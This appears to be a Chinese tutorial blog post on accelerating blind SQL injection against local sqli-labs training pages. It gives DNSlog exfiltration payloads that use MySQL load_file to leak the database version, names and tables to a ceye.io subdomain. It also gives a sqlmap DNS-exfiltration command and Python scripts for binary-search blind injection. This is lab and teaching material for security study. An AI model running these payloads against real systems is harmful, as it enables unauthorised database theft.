• SQL盲注 加速方法


    0x00:dnslog

     参考:https://www.dazhuanlan.com/2019/12/26/5e04395da4936/

    https://www.hackquan.com/hacker-technology/1451.html

    dns注入原理

    把域名dns指向我们的服务器域名,这样的话解析域名的时候就会向我们的dns服务器查询。通过递归查询就可以获取数据库上的信息了。要记住整个域名内的节点标签被限制在63个字符长度大小。

    dnslog注入要求

    1.web服务器操作系统必须为windows,因为UNC这个东西是windows特有的,关于UNC的解析如下

    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。格式:servernamesharename,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename

    2.以mysql为例,数据库的load_file函数必须可用,也就是数据库用户必须要有file_priv权限

     

    3.其次就是mysql的secure_file_priv不为NULL,有些高版本的mysql中的secure_file_priv默认为NULL

    secure_file_priv特性secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

    secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。
    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。
    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

    配置方法:再数据库配置文件my.ini     secure_file_priv=""

    然后是要有一个自己的DNS服务器该DNS服务器的作用是用来接收DNS查询日志,从日志中获取dnslog注入的结果,这里我是用的是知道创宇的CEYE平台http://ceye.io/

    注册之后便可接收dns注入的内容

    0x01:测试

     用sqli-labs-Less9 测试  时间盲注

    dnslog  payload

    注:payload中的xxxx为你个人自己的地址

    1'and (select load_file(concat('//',(select version()),'.xxxxx.ceye.io/abc')))%23   //数据库版本
    
    1'and (select load_file(concat('//',(select database()),'.xxxxx.ceye.io/abc')))%23   //数据库名
    
    1'and (select load_file(concat('//',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),'.xxxxx.ceye.io/abc')))%23   //表名

    正常提交即可,每一个payload都是 只需要等几秒(大概5、6秒),正常字符串遍历的话,一个数据库名大概要40-50秒

     查看dns日志

      

     十六进制直接转换为ASCII

    使用dnslog进行盲注,速度是很快的,但是也有局限性.

    1.网站必须运行在Windows平台上

    2.MySQL中的secure_file_priv必须为空

    3.域名前缀长度限制在63个字符,解决办法是用mid()函数来获取。

    4.域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。

    5.sqlmap也提供了这种注入方法,参数:–dns-domain(有待测试)

    必须要在管理员下运行,因为dns服务运行在特权端口53,必须要管理员权限
    
    sqlmap支持dns回显注入
    
    命令为: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1" --tech B --dns-domain 192.168.0.18 --dbs

    1.\\ 进行转义为 \,变成UNC格式,查询的数据需要转换为16进制,转化成能被dns正确处理的格式   类似URL编码~

    2.mysql使用了load_file这个函数,需要账户是有读权限的

    3.因为Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据

    4.这个技术本质是利用UNC发起的DNS查询,所以UNC的路径不能超过128,否则会失败。

    0x02:二分法

     参考:

    https://blog.csdn.net/qq_43645782/article/details/105513532

     测试:SQL-labs less-8  盲注,仅需 0-1秒 

    import requests
    import time
    import math
    
    def binarySearch(url,payload,start,end):
        left=start
        right=end
        while left<right:
            mid=math.floor((left+right)/2)
            xkey1=payload.format(str(mid))
            target = url + xkey1
            #print(target)
            response = requests.post(target)
            if "You" in response.text:
                left=mid+1
            else:
                right=mid
        return int(left)
    
    def database_len(url):
        for i in range(20):
            payload = "?id=1%27and%20length(database())>{}%23"
            return binarySearch(url,payload,0,100)
    
    def database_name(url): #二分法
        databasename = ''
        aa = database_len(url)
        for i in range(1, aa + 1):
            payload = "?id=1'and ascii(substr(database()," + str(i) + ",1))>{}%23"
            #print(payload)
            databasename += chr(binarySearch(url, payload, 32, 126))
        return databasename
    def main():
        url = "http://127.0.0.1/sqli-labs-master/sqli-labs/Less-8/"
        datalen = database_len(url)
        print(datalen)
        result = database_name(url)
        print(result)
    
    if __name__ == '__main__':
        main()

     正常的一个一个遍历需要6秒!

    def getname(url):
        name = ''
        for i in range(1,9):
            for j in range(10,126):
                payload = "?id=1'and ascii(substr(database(),{0},1))={1}%23".format(str(i),str(j))
                target = url+payload
                #print(target)
                r = requests.get(target)
                if "You" in r.text:
                    name += chr(j)
                    print(name)

    0x03:二进制延时注入

    参考:

    https://www.hackquan.com/hacker-technology/1451.html

    主要是说将ascii码转换为二进制,然后判断首位是0还是1,从而来更快的判断出数据库名字

    Done!

  • 相关阅读:
    go操作windows进程相关
    HTML5-格式化
    HTML5-属性
    关于sublime建立python工程的说明
    在Windows系统中安装matplotlib,需要注意的问题
    WPF combobox数据绑定和数据获取
    String的用法——其他功能
    String的用法——获取功能
    String的用法——判断功能
    String的用法——构造方法
  • 原文地址:https://www.cnblogs.com/liqik/p/13058988.html
Copyright © 2020-2023  润新知